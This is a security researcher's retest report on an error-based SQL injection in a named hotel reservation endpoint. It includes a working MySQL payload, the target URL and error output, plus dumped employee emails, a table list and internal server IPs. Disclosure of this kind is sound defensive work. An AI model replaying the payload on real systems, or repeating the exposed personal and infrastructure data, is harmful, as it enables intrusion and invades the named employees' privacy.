SQL Injection Vulnerability Still Present After Fix

Summary

A SQL Injection vulnerability was identified in the reservation endpoint of the `rsr-cb.sunrise-resorts.com` web application. The vulnerability affects the lang GET parameter and allows an attacker to manipulate backend SQL queries.

This issue was originally reported on the HTTP version of the endpoint.

After the devlopment team applied changes (HTTPS enforcement and Load Balancer implementation), a retest was conducted on the HTTPS endpoint.

Unfortunately, the same SQL Injection vulnerability is still present, indicating that the root cause was not fixed at the application level.

Vulnerability Details

- Vulnerability Type: SQL Injection (Error-Based)
- Database: MySQL >= 5.0
- Affected Endpoint: https://rsr-cb.sunrise-resorts.com/modules/reservation/room.php
- Affected Parameter: lang (GET)
- Severity: Critical

Proof of Concept (PoC)

- The following proof of concept demonstrates that user-controlled input from the lang GET parameter is directly incorporated into a backend SQL query without proper sanitization or parameterized queries.
- When a valid token is supplied, injecting a crafted SQL payload into the lang parameter results in database error-based responses, confirming the presence of an error-based SQL Injection vulnerability.
- Vulnerable Request
  - `GET /modules/reservation/room.php?lang=en&token=[valid_token]`
- Injected Request
  - `GET /modules/reservation/room.php?lang=[PAYLOAD]&token=[valid_token]`

  SQL Injection Payload
  - `en' AND (SELECT 9367 FROM (SELECT COUNT(*), CONCAT( 0x7176707a71, (SELECT (ELT(9367=9367,1))), 0x7176717871, FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -`

Steps to Reproduce

- Access the following URL using a valid token:
  - `https://rsr-cb.sunrise-resorts.com/modules/reservation/room.php`
- Inject the provided SQL payload into the lang parameter.
- Observe abnormal responses / database errors.

https://rsr-cb.sunrise-resorts.com/modules/reservation/room.php?lang=en%27%20AND%20(SELECT%209367%20FROM%20(SELECT%20COUNT(*),%20CONCAT(

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'qvpzq1qvqxq1' for key 'group_key'' in /var/www/html/rsr/classes/main/sql.php on line *335*

PDOException: SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry 'qvpzq1qvqxq1' for key 'group_key' in /var/www/html/rsr/classes/main/sql.php on line *335*

Call Stack

#	Time	Memory	Function	Location
1	0.0003	256880	{main}( )	.../room.php:0
2	0.0466	3378640	views\modules\reservations\as7ei0d1w6glwr05yz4ei->__construct( )	.../room.php:4
3	0.0510	3551456	views\modules\reservations\as7ei0d1w6glwr05yz4ei->getDefaultLanguage( )	.../reservationController.php:225
4	0.0514	3552704	main\hnsxk->getSet( )	.../reservationController.php:281
5	0.0523	3558720	call_user_func:{/var/www/html/rsr/classes/main/redis.php:107}( )	.../redis.php:107
6	0.0523	3558816	views\modules\reservations\as7ei0d1w6glwr05yz4ei->views\modules\reservations\{closure}( )	.../redis.php:107
7	0.0523	3559072	db\nq6zrgeq9dui->get_row( )	.../reservationController.php:280
8	0.0524	3560104	main\rby->select( )	.../db_structure.php:280
9	0.0524	3561768	main\rby->Query( )	.../sql.php:778
10	0.0524	3562096	query( )	.../sql.php:335

SYSTEM Generic Error

Impact

An attacker could potentially:

- Extract sensitive information from the database, including user email addresses, which can be leveraged for:

```
| abbas.shabasy@sunrise-resorts.com          | abbas     |
| administrator@sunrise-resorts.com          | admin     |
| Fb.cb@sunrise-resorts.com                  | fb.cbh    |
| gsc.gbh@sunrise-resorts.com                | gsc.gbh   |
| gsc.mph@sunrise-resorts.com                | gsc.mph   |
| gsc.mph@sunrise-resorts.com                | gsc.mph   |
| magdy.elmokadem-mp@sunrisehotels-egypt.com | salah     |
| mohamed.etreby@sentidohotels-egypt.com     | etreby    |
```

  - Targeted phishing attacks
  - Social engineering campaigns
  - Account takeover attempts on related systems
- Enumerate database structure, tables, and columns, gaining a deeper understanding of the backend architecture.

```
Database: rsr
[58 tables]
+-------------------------------------+
| language                            |
| advertisment                        |
| board_types                         |
| country_translation                 |
| group_privilages                    |
| hotel_restaurants                   |
| hotels                              |
| info_bar                            |
| licenses                            |
| mail_template                       |
| mboard_employees                    |
| mboard_position                     |
| mboard_settings                     |
| menu_items                          |
| menu_order                          |
| menu_sets                           |
| minimum_stay                        |
| modules                             |
| popup                               |
| printers                            |
| privilage                           |
| reservation                         |
| reservation_cancellation            |
| reservation_details                 |
| reservation_events                  |
| reservation_upselling_products      |
| restaurant                          |
| restaurant_board_type               |
| restaurant_closed_days              |
| restaurant_images                   |
| restaurant_photo_menu               |
```

Access internal IP addresses and infrastructure-related information, which could be used to:

```
+--------+---------------+----------+
| user   | server        | password |
+--------+---------------+----------+
| v8live | 172.50.10.230 | [redacted] |
| v8live | 172.50.10.231 | [redacted] |
| v8live | 172.50.10.232 | [redacted] |
+--------+---------------+----------+
```

  - Perform lateral movement within the internal environment
  - Launch further internal attacks against additional services
- Access or manipulate reservation-related data, potentially impacting business operations and customer trust.

Recommended Fix

To mitigate SQL Injection vulnerabilities:

- Apply strict input validation on the lang parameter (allow only predefined language values).
- Avoid dynamic SQL queries in WHERE, GROUP BY, or ORDER BY clauses.
- Disable detailed database error messages in production environments.

References

OWASP SQL Injection Prevention Cheat Sheet

OWASP Top 10 – Injection

Report Date

January 2026

Reported by

Mustafa Mohamed